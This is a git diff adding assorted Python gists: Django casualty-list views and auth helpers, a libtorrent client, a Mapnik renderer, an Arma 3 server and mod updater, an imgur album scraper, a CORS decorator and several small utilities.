+import datetime
+
+class BaseFields(object):
+    '''
+    All of these views share an extra context dict containing counts for the various charts. Let's be a bit DRY about this.
+    -----------------
+    Hi, and welcome to annotation. I'm Jeremy, and I'll be your instructor today.
+    We'll be adding these annotations to a dict which will be merged into the extra_context variable in every view.
+    This example is about theaters, but it's the same logic for each of these.
+    
+    1.) Identify the model you want annotated counts of. In this case, it's Casualty.
+    2.) Prepare a basic .filter() method to grab only the objects you want to count.
+    3.) Prepare a .values() method to return just numbers, rather than full objects.
+    4.) Add the .annotate() method. Annotate based on the field you're interested in counts for.
+        WARNING #1: This will return just this field (e.g., name) rather than the Casualty OBJECT to the page. 
+        WARNING #2: On the page, you can't just ask for foo in theater_chart, foo.id or foo.some_other field. Keep that in mind.
+    5.) Order by field__count if you want the charts ordered by the count. Otherwise, just order by field or -field.
+    
+    Check the docs and the templates if you have questions.
+    '''
+    base_query = Casualty.safe_objects.all()
+    
+    def build_chart(base_query, field_name, order_by):
+        '''
+        This is a function to make building our charts a little DRYer. Beats the pants off of lambdas.
+        '''
+        return base_query.values(field_name).annotate(Count(field_name)).order_by(order_by)
+    
+    extra_context_dict = {}
+    # All of these are easy, so let's just build the charts with a simple function.
+    extra_context_dict['theater_chart']         = build_chart(base_query, 'theater__name', '-theater__name__count')
+    extra_context_dict['branch_chart']          = build_chart(base_query, 'military_service_branch__name', '-military_service_branch__name__count')
+    # extra_context_dict['year_chart']          = build_chart(base_query, 'death_date_year', '-death_date_year')
+    extra_context_dict['sex_chart']             = build_chart(base_query, 'sex', '-sex__count')
+    extra_context_dict['age_chart']             = build_chart(base_query, 'age_range', '-age_range__count')
+    extra_context_dict['cause_chart']           = build_chart(base_query, 'cause_of_death__name', '-cause_of_death__name__count')
+    extra_context_dict['total_count']           = base_query.count()
+    extra_context_dict['now']                   = datetime.datetime.now()
+    # These ones are harder/more complex. Rather than have a complex function for these, let's just build by hand.
+    extra_context_dict['timeline']              = base_query\
+                                                    .values('death_date_year')\
+                                                    .annotate(Count('death_date_year'))\
+                                                    .order_by('-death_date_year')
+
+class BaseListFields(BaseFields):
+    '''
+    All of the list (e.g., non-detail) views share these three fields. Again, DRY isn't just for deserts.
+    This is the basics necessary for the new class-based generic views.
+    '''
+    # I don't have to use this. But I am. So leave me alone.
+    template_name                   = "casualty/casualty_list.html"
+    
+    # I want pagination. Check out the template for the names of all of the objects returned.
+    paginate_by                     = 96
+    
+    # Returns our key queryset as this name. Plural for multiples, singular for just one.
+    context_object_name             = "casualties"
+
+class HomePage(BaseListFields, ListView):
+    '''
+    A list view of casualties modified to form a home page.
+    '''
+    # The other views below need to build more complex querysets using get_queryset().
+    # This view is simple, and so it just clobbers the queryset variable.
+    queryset                        = Casualty.safe_objects.all().order_by('-death_date').select_related()
+    
+    def get_context_data(self, *args, **kwargs):
+        '''
+        Defines a function which attaches context data to all pages.
+        I'm not talking about this in such detail below, so this example will serve as your documentation for similar ones below.
+        You're welcome.
+        '''
+        # Gotta get super(). Attach the get_context_data() method, since that's what we're super()ing.
+        # The result of this will be a dict named context.
+        context = super(HomePage, self).get_context_data(*args, **kwargs)
+        
+        # Here's what it looks like to add that extra context, via the dict .update() method.
+        # This is grabbing that dict from the BaseListFields class and merging it into context.
+        context.update(self.extra_context_dict)
+        
+        # Here's what it looks like to add some extra arbitrary content to context.
+        context['page_class']           = '_home_page'
+        
+        # Return it.
+        return context
+    
+
+class TheaterList(BaseListFields, ListView):
+    def get_context_data(self, *args, **kwargs):
+        context = super(TheaterList, self).get_context_data(*args, **kwargs)
+        context.update(self.extra_context_dict)
+        context['theater']              = get_object_or_404(Theater, slug=self.kwargs['theater_slug'])
+        context['page_class']           = '_theater_list'
+        return context
+    
+    def get_queryset(self):
+        '''
+        Defines a function which returns a queryset to build the list view from.
+        Since this is the first time you may have seen get_queryset() clobbered, here's some instructions.
+        I'm not repeating this below.
+        Stop reading.
+        Seriously.
+        Still?
+        C'mon.
+        Argh.
+        '''
+        # When you see stuff like "self.kwargs['foo']", it's grabbing foo from the URL patterns in urls.py.
+        # It's not magic. It's just neat that URL paths are returned as kwargs.
+        return Casualty.safe_objects.filter(
+                            theater__slug=self.kwargs['theater_slug']\
+                        ).order_by('-death_date').select_related()
\ No newline at end of file
diff --git a/hard-gists/1288160dad16cc473a53/._snippet.py b/hard-gists/1288160dad16cc473a53/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/1288160dad16cc473a53/._snippet.py differ
diff --git a/hard-gists/1288160dad16cc473a53/snippet.py b/hard-gists/1288160dad16cc473a53/snippet.py
new file mode 100644
index 00000000..21458399
--- /dev/null
+++ b/hard-gists/1288160dad16cc473a53/snippet.py
@@ -0,0 +1,6 @@
+import urllib.request
+import json
+resp = urllib.request.urlopen('http://worldcup.sfg.io/matches').read()
+for jogo in json.loads(resp.decode('utf-8')):
+    if jogo['status'] == 'completed':
+        print (jogo['home_team']['country'], jogo['home_team']['goals'], 'x', jogo['away_team']['country'], jogo['away_team']['goals'])
\ No newline at end of file
diff --git a/hard-gists/1289286/._snippet.py b/hard-gists/1289286/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/1289286/._snippet.py differ
diff --git a/hard-gists/1289286/snippet.py b/hard-gists/1289286/snippet.py
new file mode 100644
index 00000000..4b99f677
--- /dev/null
+++ b/hard-gists/1289286/snippet.py
@@ -0,0 +1,40 @@
+"""
+usage : simple_client.py torrent_file
+"""
+#!/usr/bin/env python
+# Copyright Arvid Norberg 2008. Use, modification and distribution is
+# subject to the Boost Software License, Version 1.0. (See accompanying
+# file LICENSE_1_0.txt or copy at http://www.boost.org/LICENSE_1_0.txt)
+
+# with modifications by Fabian Pedregosa <fabian@fseoane.net>
+# October 2011
+
+import libtorrent as lt
+import time
+import sys
+
+ses = lt.session()
+ses.listen_on(6881, 6891)
+
+if len(sys.argv) < 2:
+    print __doc__
+    sys.exit()
+
+info = lt.torrent_info(sys.argv[1])
+h = ses.add_torrent({'ti': info, 'save_path': './'})
+h.set_sequential_download(True)
+print 'starting', h.name()
+
+while (not h.is_seed()):
+	s = h.status()
+
+	state_str = ['queued', 'checking', 'downloading metadata', \
+		'downloading', 'finished', 'seeding', 'allocating', 'checking fastresume']
+	print '\r%.2f%% complete (down: %.1f kb/s up: %.1f kB/s peers: %d) %s' % \
+		(s.progress * 100, s.download_rate / 1000, s.upload_rate / 1000, \
+		s.num_peers, state_str[s.state]),
+	sys.stdout.flush()
+
+	time.sleep(1)
+
+print h.name(), 'complete'
diff --git a/hard-gists/1290744/._snippet.py b/hard-gists/1290744/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/1290744/._snippet.py differ
diff --git a/hard-gists/1290744/snippet.py b/hard-gists/1290744/snippet.py
new file mode 100644
index 00000000..5a5dc2a5
--- /dev/null
+++ b/hard-gists/1290744/snippet.py
@@ -0,0 +1,97 @@
+#!/usr/bin/env python
+
+# This script is like generate_image.py from the OSM Mapnik code,
+# but it renders based on a given centre point, zoom and final image pixel size
+
+# Author: Andrew Harvey <andrew.harvey4@gmail.com>
+# License: CC0 http://creativecommons.org/publicdomain/zero/1.0/
+#
+# To the extent possible under law, the person who associated CC0
+# with this work has waived all copyright and related or neighboring
+# rights to this work.
+# http://creativecommons.org/publicdomain/zero/1.0/
+
+# For testing the tile 17/120590/78656 should match the output of
+# ./render_map_preview.py -x 151.21170043945312 -y -33.871555787081476 -z 17 -w 256 -h 256
+
+# that tile has centre (-33.871555787081476, 151.21170043945312) -> 16832809.4949049 -4011568.11846262
+# and bounds (-33.87041555094183, 151.2103271484375),(-33.87269600798948, 151.21307373046875)
+# which are projected as (gdaltransform -s_srs '+proj=longlat +ellps=WGS84 +datum=WGS84 +no_defs' -t_srs '+proj=merc +a=6378137 +b=6378137 +lat_ts=0.0 +lon_0=0.0 +x_0=0.0 +y_0=0 +k=1.0 +units=m +nadgrids=@null +no_defs +over')
+#    xmin=16832656.6208484
+#    ymin=-4011415.24440605 
+#    xmax=16832962.3689615
+#    ymax=-4011720.99251919
+
+#    dx=306 ie. so 306 in projected units for this one tile
+
+try:
+    import mapnik2 as mapnik
+except:
+    import mapnik
+
+import getopt, sys, os
+
+# target projection
+merc = mapnik.Projection('+proj=merc +a=6378137 +b=6378137 +lat_ts=0.0 +lon_0=0.0 +x_0=0.0 +y_0=0 +k=1.0 +units=m +nadgrids=@null +no_defs +over')
+
+# WGS lat/long source projection of centre
+longlat = mapnik.Projection('+proj=longlat +ellps=WGS84 +datum=WGS84 +no_defs')
+
+# ensure minimum Mapnik version
+if not hasattr(mapnik,'mapnik_version') and not mapnik.mapnik_version() >= 600:
+    raise SystemExit('This script requires Mapnik >=0.6.0)')
+
+if __name__ == "__main__":
+    # get arguments
+    try:
+        opts, args = getopt.getopt(sys.argv[1:], "m:x:y:z:w:h:o:", ["mapfile=", "centrex=", "centrey=", "zoom=", "width=", "height=", "output="])
+    except getopt.GetoptError, err:
+        print str(err)
+        #usage()
+        sys.exit(2)
+    
+    for o, a in opts:
+        if o in ("-m", "--mapfile"):
+            mapfile = a
+        elif o in ("-x", "--centrex"):
+            centrex = float(a)
+        elif o in ("-y", "--centrey"):
+            centrey = float(a)
+        elif o in ("-z", "--zoom"):
+            zoom = int(a)
+        elif o in ("-w", "--width"):
+            width = int(a)
+        elif o in ("-h", "--height"):
+            height = int(a)
+        elif o in ("-o", "--output"):
+            output = a
+
+    # make a new Map object for the given mapfile
+    m = mapnik.Map(width, height)
+    mapnik.load_map(m, mapfile)
+    
+    # ensure the target map projection is mercator
+    m.srs = merc.params()
+    
+    # transform the centre point into the target coord sys
+    centre = mapnik.Coord(centrex, centrey)  
+    transform = mapnik.ProjTransform(longlat, merc)
+    merc_centre = transform.forward(centre)
+    
+    # 360/(2**zoom) degrees = 256 px
+    # so in merc 1px = (20037508.34*2) / (256 * 2**zoom)
+    # hence to find the bounds of our rectangle in projected coordinates + and - half the image width worth of projected coord units
+    dx = ((20037508.34*2*(width/2)))/(256*(2 ** (zoom)))
+    minx = merc_centre.x - dx
+    maxx = merc_centre.x + dx
+    
+    # grow the height bbox, as we only accurately set the width bbox
+    m.aspect_fix_mode = mapnik.aspect_fix_mode.ADJUST_BBOX_HEIGHT
+
+    bounds = mapnik.Box2d(minx, merc_centre.y-10, maxx, merc_centre.y+10) # the y bounds will be fixed by mapnik due to ADJUST_BBOX_HEIGHT
+    m.zoom_to_box(bounds)
+
+    # render the map image to a file
+    mapnik.render_to_file(m, output)
+     
+    sys.stdout.write('output image to %s!\n' % output)
diff --git a/hard-gists/12da69b95d010c8a810fd384cca8d02a/._snippet.py b/hard-gists/12da69b95d010c8a810fd384cca8d02a/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/12da69b95d010c8a810fd384cca8d02a/._snippet.py differ
diff --git a/hard-gists/12da69b95d010c8a810fd384cca8d02a/snippet.py b/hard-gists/12da69b95d010c8a810fd384cca8d02a/snippet.py
new file mode 100644
index 00000000..b6ba6651
--- /dev/null
+++ b/hard-gists/12da69b95d010c8a810fd384cca8d02a/snippet.py
@@ -0,0 +1,164 @@
+#!/usr/bin/python3
+
+# MIT License
+#
+# Copyright (c) 2017 Marcel de Vries
+#
+# Permission is hereby granted, free of charge, to any person obtaining a copy
+# of this software and associated documentation files (the "Software"), to deal
+# in the Software without restriction, including without limitation the rights
+# to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
+# copies of the Software, and to permit persons to whom the Software is
+# furnished to do so, subject to the following conditions:
+#
+# The above copyright notice and this permission notice shall be included in all
+# copies or substantial portions of the Software.
+#
+# THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
+# IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
+# FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
+# AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
+# LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
+# OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
+# SOFTWARE.
+
+import os
+import os.path
+import re
+import shutil
+import time
+
+from datetime import datetime
+from urllib import request
+
+#region Configuration
+STEAM_CMD = "/home/steam/arma3/steam/steamcmd.sh"
+STEAM_USER = ""
+STEAM_PASS = ""
+
+A3_SERVER_ID = "233780"
+A3_SERVER_DIR = "/home/steam/arma3/install"
+A3_WORKSHOP_ID = "107410"
+
+A3_WORKSHOP_DIR = "{}/steamapps/workshop/content/{}".format(A3_SERVER_DIR, A3_WORKSHOP_ID)
+A3_MODS_DIR = "/home/steam/arma3/mods"
+
+MODS = {
+    "@cba_a3":             "450814997",
+    "@ace3":               "463939057",
+    "@alive":              "620260972",
+    "@cup_terrains_core":  "583496184",
+    "@cup_terrains_maps":  "583544987",
+    "@cup_weapons":        "497660133",
+    "@cup_units":          "497661914",
+    "@cup_vehicles":       "541888371"
+}
+
+PATTERN = re.compile(r"workshopAnnouncement.*?<p id=\"(\d+)\">", re.DOTALL)
+WORKSHOP_CHANGELOG_URL = "https://steamcommunity.com/sharedfiles/filedetails/changelog"
+#endregion
+
+#region Functions
+def log(msg):
+    print("")
+    print("{{0:=<{}}}".format(len(msg)).format(""))
+    print(msg);
+    print("{{0:=<{}}}".format(len(msg)).format(""))
+
+
+def call_steamcmd(params):
+    os.system("{} {}".format(STEAM_CMD, params))
+    print("")
+
+
+def update_server():
+    steam_cmd_params  = " +login {} {}".format(STEAM_USER, STEAM_PASS)
+    steam_cmd_params += " +force_install_dir {}".format(A3_SERVER_DIR)
+    steam_cmd_params += " +app_update {} validate".format(A3_SERVER_ID)
+    steam_cmd_params += " +quit"
+
+    call_steamcmd(steam_cmd_params)
+
+
+def mod_needs_update(mod_id, path):
+    if os.path.isdir(path):
+        response = request.urlopen("{}/{}".format(WORKSHOP_CHANGELOG_URL, mod_id)).read()
+        response = response.decode("utf-8")
+        match = PATTERN.search(response)
+
+        if match:
+            updated_at = datetime.fromtimestamp(int(match.group(1)))
+            created_at = datetime.fromtimestamp(os.path.getctime(path))
+
+            return (updated_at >= created_at)
+
+    return False
+
+
+def update_mods():
+    for mod_name, mod_id in MODS.items():
+        path = "{}/{}".format(A3_WORKSHOP_DIR, mod_id)
+
+        # Check if mod needs to be updated
+        if os.path.isdir(path):
+
+            if mod_needs_update(mod_id, path):
+                # Delete existing folder so that we can verify whether the
+                # download succeeded
+                shutil.rmtree(path)
+            else:
+                print("No update required for \"{}\" ({})... SKIPPING".format(mod_name, mod_id))
+                continue
+
+        # Keep trying until the download actually succeeded
+        tries = 0
+        while os.path.isdir(path) == False and tries < 10:
+            log("Updating \"{}\" ({}) | {}".format(mod_name, mod_id, tries + 1))
+
+            steam_cmd_params  = " +login {} {}".format(STEAM_USER, STEAM_PASS)
+            steam_cmd_params += " +force_install_dir {}".format(A3_SERVER_DIR)
+            steam_cmd_params += " +workshop_download_item {} {} validate".format(
+                A3_WORKSHOP_ID,
+                mod_id
+            )
+            steam_cmd_params += " +quit"
+
+            call_steamcmd(steam_cmd_params)
+
+            # Sleep for a bit so that we can kill the script if needed
+            time.sleep(5)
+
+            tries = tries + 1
+
+        if tries >= 10:
+            log("!! Updating {} failed after {} tries !!".format(mod_name, tries))
+
+
+def lowercase_workshop_dir():
+    os.system("(cd {} && find . -depth -exec rename -v 's/(.*)\/([^\/]*)/$1\/\L$2/' {{}} \;)".format(A3_WORKSHOP_DIR))
+
+
+def create_mod_symlinks():
+    for mod_name, mod_id in MODS.items():
+        link_path = "{}/{}".format(A3_MODS_DIR, mod_name)
+        real_path = "{}/{}".format(A3_WORKSHOP_DIR, mod_id)
+
+        if os.path.isdir(real_path):
+            if not os.path.islink(link_path):
+                os.symlink(real_path, link_path)
+                print("Creating symlink '{}'...".format(link_path))
+        else:
+            print("Mod '{}' does not exist! ({})".format(mod_name, real_path))
+#endregion
+
+log("Updating A3 server ({})".format(A3_SERVER_ID))
+update_server()
+
+log("Updating mods")
+update_mods()
+
+log("Converting uppercase files/folders to lowercase...")
+lowercase_workshop_dir()
+
+log("Creating symlinks...")
+create_mod_symlinks()
\ No newline at end of file
diff --git a/hard-gists/1303651/._snippet.py b/hard-gists/1303651/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/1303651/._snippet.py differ
diff --git a/hard-gists/1303651/snippet.py b/hard-gists/1303651/snippet.py
new file mode 100644
index 00000000..687d4d65
--- /dev/null
+++ b/hard-gists/1303651/snippet.py
@@ -0,0 +1,24 @@
+try:
+    from functools import update_wrapper, wraps
+except ImportError:
+    from django.utils.functional import update_wrapper, wraps  # Python 2.4 fallback.
+
+from django.http import HttpResponseForbidden
+from django.utils.decorators import available_attrs
+
+def user_passes_test(test_func):
+    def decorator(view_func):
+        def _wrapped_view(request, *args, **kwargs):
+            if test_func(request.user):
+                return view_func(request, *args, **kwargs)
+            return HttpResponseForbidden()
+        return wraps(view_func, assigned=available_attrs(view_func))(_wrapped_view)
+    return decorator
+
+def login_required_403(function=None):
+    actual_decorator = user_passes_test(
+        lambda u: u.is_authenticated()
+    )
+    if function:
+        return actual_decorator(function)
+    return actual_decorator
diff --git a/hard-gists/130583/._snippet.py b/hard-gists/130583/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/130583/._snippet.py differ
diff --git a/hard-gists/130583/snippet.py b/hard-gists/130583/snippet.py
new file mode 100644
index 00000000..bd062d93
--- /dev/null
+++ b/hard-gists/130583/snippet.py
@@ -0,0 +1,29 @@
+from django.http import HttpResponseRedirect
+from django.conf import settings
+from re import compile
+
+EXEMPT_URLS = [compile(settings.LOGIN_URL.lstrip('/'))]
+if hasattr(settings, 'LOGIN_EXEMPT_URLS'):
+    EXEMPT_URLS += [compile(expr) for expr in settings.LOGIN_EXEMPT_URLS]
+
+class LoginRequiredMiddleware:
+    """
+    Middleware that requires a user to be authenticated to view any page other
+    than LOGIN_URL. Exemptions to this requirement can optionally be specified
+    in settings via a list of regular expressions in LOGIN_EXEMPT_URLS (which
+    you can copy from your urls.py).
+
+    Requires authentication middleware and template context processors to be
+    loaded. You'll get an error if they aren't.
+    """
+    def process_request(self, request):
+        assert hasattr(request, 'user'), "The Login Required middleware\
+ requires authentication middleware to be installed. Edit your\
+ MIDDLEWARE_CLASSES setting to insert\
+ 'django.contrib.auth.middleware.AuthenticationMiddleware'. If that doesn't\
+ work, ensure your TEMPLATE_CONTEXT_PROCESSORS setting includes\
+ 'django.core.context_processors.auth'."
+        if not request.user.is_authenticated():
+            path = request.path_info.lstrip('/')
+            if not any(m.match(path) for m in EXEMPT_URLS):
+                return HttpResponseRedirect(settings.LOGIN_URL)
diff --git a/hard-gists/1306719/._snippet.py b/hard-gists/1306719/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/1306719/._snippet.py differ
diff --git a/hard-gists/1306719/snippet.py b/hard-gists/1306719/snippet.py
new file mode 100644
index 00000000..31e6e321
--- /dev/null
+++ b/hard-gists/1306719/snippet.py
@@ -0,0 +1,82 @@
+from html.parser import HTMLParser
+from urllib import request
+
+import os.path
+import re
+import json
+import sys
+
+class ImgListScraper( HTMLParser ):
+
+    IMG_URL = "http://i.imgur.com/{hash}{ext}"
+
+    def __init__( self, *args, **kwargs ):
+        super().__init__( *args, **kwargs )
+        self.in_javascript = False
+        self.data = None
+
+    def handle_starttag( self, tag, attrs ):
+
+        attrs = dict( attrs )
+
+        if tag == "script" and attrs['type'] == "text/javascript":
+            self.in_javascript = True
+
+    def handle_data( self, data ):
+
+        if self.in_javascript:
+
+            img_block = False
+            for line in data.splitlines():
+
+                if line.find("ImgurAlbum") > -1:
+                    img_block = True
+                elif img_block and line.strip().startswith("images:"):
+                    data = line.strip()[ len( "images: " ) : -1 ]
+                    self.data = json.loads( data )
+                    img_block = False
+
+            self.in_javascript = False
+
+    def img_urls( self ):
+        for image in self.data['items']:
+            yield self.IMG_URL.format( **{
+                    'hash': image['hash'],
+                    'ext': image['ext']
+                    })
+
+def download_image( url, folder ):
+
+    path = os.path.join( folder, url.split("/")[-1] )
+    res = request.urlopen( url )
+
+    with open( path, 'wb' ) as f:
+        f.write( res.read() )
+
+    res.close()
+
+def download_album( album_url, folder ):
+
+    print( "Scraping album..." )
+    scraper = ImgListScraper()
+    html = request.urlopen( album_url ).read().decode( 'utf8' )
+    scraper.feed( html )
+
+    total = scraper.data['count']
+
+    for ( pos, img_url ) in enumerate( scraper.img_urls() ):
+
+        print( "downloading {img_url} ({pos} of {total})".format( 
+            img_url = img_url,
+            pos = pos,
+            total = total ) )
+
+        download_image( img_url, folder )
+
+if __name__ == '__main__':
+
+    if len( sys.argv ) < 3:
+        print( "Usage: {script} ALBUM_URL FOLDER".format( script = sys.argv[0]
+            ) )
+    else:
+        download_album( sys.argv[1], sys.argv[2] )
diff --git a/hard-gists/1307521/._snippet.py b/hard-gists/1307521/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/1307521/._snippet.py differ
diff --git a/hard-gists/1307521/snippet.py b/hard-gists/1307521/snippet.py
new file mode 100644
index 00000000..cbf0c1ad
--- /dev/null
+++ b/hard-gists/1307521/snippet.py
@@ -0,0 +1,46 @@
+"""
+This gist adds url expiration functionality to flask-webassets on App Engine.
+
+Few hints how to use it:
+
+- Disable updater: ASSETS_UPDATER = False.
+- Use AppEngineBundle instead of standard webassets Bundle.
+- Rebuild assets manually:
+  * manage.py assets watch for development.
+  * manage.py assets rebuild for deployment.
+"""
+
+import os
+
+from webassets.bundle import Bundle
+
+from app import app
+
+try:
+    from _webassets import files
+except ImportError:
+    files = {}
+
+
+WEBASSETS_FILE = os.path.join(app.config['DIRNAME'], '_webassets.py')
+WEBASSETS_TEMPLATE = "files = %(files)s"
+
+
+class AppEngineBundle(Bundle):
+    def _update_timestamp(self, env, filename):
+        filepath = env.abspath(filename)
+        last_modified = os.stat(filepath).st_mtime
+
+        files[filename] = last_modified
+        content = WEBASSETS_TEMPLATE % dict(files=repr(files))
+        open(WEBASSETS_FILE, 'w+').write(content)
+
+    def _make_url(self, env, filename, expire=True):
+        last_modified = files.get(filename, 0)
+        return env.absurl("%s?%d" % (filename, last_modified))
+
+    def build(self, env=None, force=False):
+        hunks = super(AppEngineBundle, self).build(env=env, force=force)
+        env = self._get_env(env)
+        self._update_timestamp(env, self.output)
+        return hunks
diff --git a/hard-gists/1308865/._snippet.py b/hard-gists/1308865/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/1308865/._snippet.py differ
diff --git a/hard-gists/1308865/snippet.py b/hard-gists/1308865/snippet.py
new file mode 100644
index 00000000..e7e97769
--- /dev/null
+++ b/hard-gists/1308865/snippet.py
@@ -0,0 +1,19 @@
+from django.http import HttpResponse
+
+ACC_HEADERS = {'Access-Control-Allow-Origin': '*', 
+               'Access-Control-Allow-Methods': 'GET, POST, OPTIONS',
+               'Access-Control-Max-Age': 1000,
+               'Access-Control-Allow-Headers': '*'}
+
+def cross_domain_ajax(func):
+    """ Sets Access Control request headers."""
+    def wrap(request, *args, **kwargs):
+        # Firefox sends 'OPTIONS' request for cross-domain javascript call.
+        if request.method != "OPTIONS": 
+            response = func(request, *args, **kwargs)
+        else:
+            response = HttpResponse()
+        for k, v in ACC_HEADERS.iteritems():
+            response[k] = v
+        return response
+    return wrap
diff --git a/hard-gists/1309895/._snippet.py b/hard-gists/1309895/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/1309895/._snippet.py differ
diff --git a/hard-gists/1309895/snippet.py b/hard-gists/1309895/snippet.py
new file mode 100644
index 00000000..a02e22a2
--- /dev/null
+++ b/hard-gists/1309895/snippet.py
@@ -0,0 +1,33 @@
+#!/usr/bin/env python
+# Unity indicator for evolution-less clock and date display
+# author: phil ayres
+# 24 Oct 2011
+
+import gobject
+import gtk
+import appindicator
+import os, sys
+import time
+from time import gmtime, strftime
+
+if __name__ == "__main__":
+
+    #def on_left_click(widget,data=None):
+        # Placeholder for later
+      
+    def on_timer(args=None):
+      ind.set_label(strftime("%H:%M",time.localtime()))    
+      item.set_label(strftime("%a, %d %b %Y - %H:%M",time.localtime()))
+      return True
+              
+    ind = appindicator.Indicator ("simple-clock-client", "clock", appindicator.CATEGORY_APPLICATION_STATUS)
+    ind.set_status (appindicator.STATUS_ACTIVE)
+    ind.set_label(strftime("%H:%M",time.localtime()));    
+    menu = gtk.Menu()
+    item = gtk.MenuItem(strftime("%a, %d %b %Y",time.localtime()))    
+    #item.connect("activate", on_left_click)
+    item.show()
+    menu.append(item)
+    ind.set_menu(menu)
+    gtk.timeout_add(1000, on_timer)    
+    gtk.main()
diff --git a/hard-gists/130cd92dc47c56c47030/._snippet.py b/hard-gists/130cd92dc47c56c47030/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/130cd92dc47c56c47030/._snippet.py differ
diff --git a/hard-gists/130cd92dc47c56c47030/snippet.py b/hard-gists/130cd92dc47c56c47030/snippet.py
new file mode 100644
index 00000000..1d638de7
--- /dev/null
+++ b/hard-gists/130cd92dc47c56c47030/snippet.py
@@ -0,0 +1,56 @@
+from pydub import AudioSegment
+from matplotlib import pyplot as plot
+from PIL import Image, ImageDraw
+import numpy as np
+import os
+
+src = "./test.mp3"
+
+audio = AudioSegment.from_file(src)
+data = np.fromstring(audio._data, np.int16)
+fs = audio.frame_rate
+
+BARS = 100
+BAR_HEIGHT = 60
+LINE_WIDTH = 5
+
+length = len(data)
+RATIO = length/BARS
+
+count = 0
+maximum_item = 0
+max_array = []
+highest_line = 0
+
+for d in data:
+	if count < RATIO:
+		count = count + 1
+
+		if abs(d) > maximum_item:
+			maximum_item = abs(d)
+	else:
+		max_array.append(maximum_item)
+
+		if maximum_item > highest_line:
+			highest_line = maximum_item
+
+		maximum_item = 0
+		count = 1
+
+line_ratio = highest_line/BAR_HEIGHT
+
+im = Image.new('RGBA', (BARS * LINE_WIDTH, BAR_HEIGHT), (255, 255, 255, 1))
+draw = ImageDraw.Draw(im)
+
+current_x = 1
+for item in max_array:
+	item_height = item/line_ratio
+
+	current_y = (BAR_HEIGHT - item_height)/2
+	draw.line((current_x, current_y, current_x, current_y + item_height), fill=(169, 171, 172), width=4)
+
+	current_x = current_x + LINE_WIDTH
+
+im.show()
+
+
diff --git a/hard-gists/1310549/._snippet.py b/hard-gists/1310549/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/1310549/._snippet.py differ
diff --git a/hard-gists/1310549/snippet.py b/hard-gists/1310549/snippet.py
new file mode 100644
index 00000000..96de0fc3
--- /dev/null
+++ b/hard-gists/1310549/snippet.py
@@ -0,0 +1,110 @@
+"""
+Decrease the verbosity of writing view tests.
+
+Old way:
+
+    self.client.get(reverse("my-view"))
+    self.client.post(reverse("my-view"), data={"key": "value"})
+    self.client.login("username", "password")
+    self.client.get(reverse("my-other-view"))
+    self.client.logout()
+
+    self.client.post(reverse("my-other-view"), data={"key": "value"}
+    self.assertEqual(response.status_code, 302)
+    self.assertEqual(response["Location"], "http://remoteserver/")
+
+    session = self.client.session
+    session["key"] = "value"
+    session.save()
+
+New way:
+
+    self.client.get("my-view")
+    self.client.post("my-view", data={"key": "value"})
+    with self.login("username", "password"):
+        self.client.get("my-other-view")
+
+    self.assertRedirectsTo(response, "http://remoteserver/")
+
+    session = self.session
+    session["key"] = "value"
+    session.save()
+
+By default also patches the template loader and initiates the client session.
+"""
+
+from django.conf import settings
+from django.core.urlresolvers import reverse
+from django.template import Template
+from django.test import TestCase
+from django.utils.importlib import import_module
+import django.template.loader
+
+
+class login(object):
+    def __init__(self, testcase, user, password):
+        self.testcase = testcase
+        success = testcase.client.login(username=user, password=password)
+        self.testcase.assertTrue(
+            success,
+            "login with username=%r, password=%r failed" % (user, password)
+        )
+
+    def __enter__(self):
+        pass
+
+    def __exit__(self, *args):
+        self.testcase.client.logout()
+
+
+class LazyTestCase(TestCase):
+    patch_templates = True
+
+    def login(self, user, password):
+        return login(self, user, password)
+
+    def get(self, url_name, data=None, *args, **kwargs):
+        data = data or {}
+        return self.client.get(
+            reverse(url_name, args=args, kwargs=kwargs), data
+        )
+
+    def post(self, url_name, data=None, *args, **kwargs):
+        return self.client.post(
+            reverse(url_name, args=args, kwargs=kwargs), data
+        )
+
+    @property
+    def session(self):
+        return self.client.session
+
+    def load_data(self):
+        return
+
+    def setUp(self):
+        if self.patch_templates:
+            self.get_template = django.template.loader.get_template
+            def get_template(*args, **kwargs):
+                return Template("")
+            django.template.loader.get_template = get_template
+
+        if "django.contrib.sessions" in settings.INSTALLED_APPS:
+            # Workaround for https://code.djangoproject.com/ticket/15740
+            engine = import_module(settings.SESSION_ENGINE)
+            store = engine.SessionStore()
+            store.save()
+            self.client.cookies[settings.SESSION_COOKIE_NAME] = store.session_key
+
+        self.load_data()
+
+    def tearDown(self):
+        if self.patch_templates:
+            django.template.loader.get_template = self.get_template
+
+    def assertRedirectsTo(self, response, url):
+        """
+        Assert that a response redirects to a specific url without trying to
+        load the other page.
+        """
+        self.assertEqual(response.status_code, 302)
+        self.assertEqual(response["Location"], url)
\ No newline at end of file
diff --git a/hard-gists/1315148/._snippet.py b/hard-gists/1315148/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/1315148/._snippet.py differ
